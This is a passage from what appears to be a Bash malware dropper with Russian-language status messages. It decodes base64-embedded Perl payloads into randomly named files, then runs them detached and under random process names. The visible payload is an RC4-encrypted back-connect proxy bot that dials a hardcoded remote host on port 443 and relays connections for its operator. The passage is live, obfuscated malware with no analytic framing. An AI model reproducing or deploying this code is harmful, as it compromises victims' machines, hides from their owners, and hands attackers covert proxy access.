OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #47 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #47 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 48 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 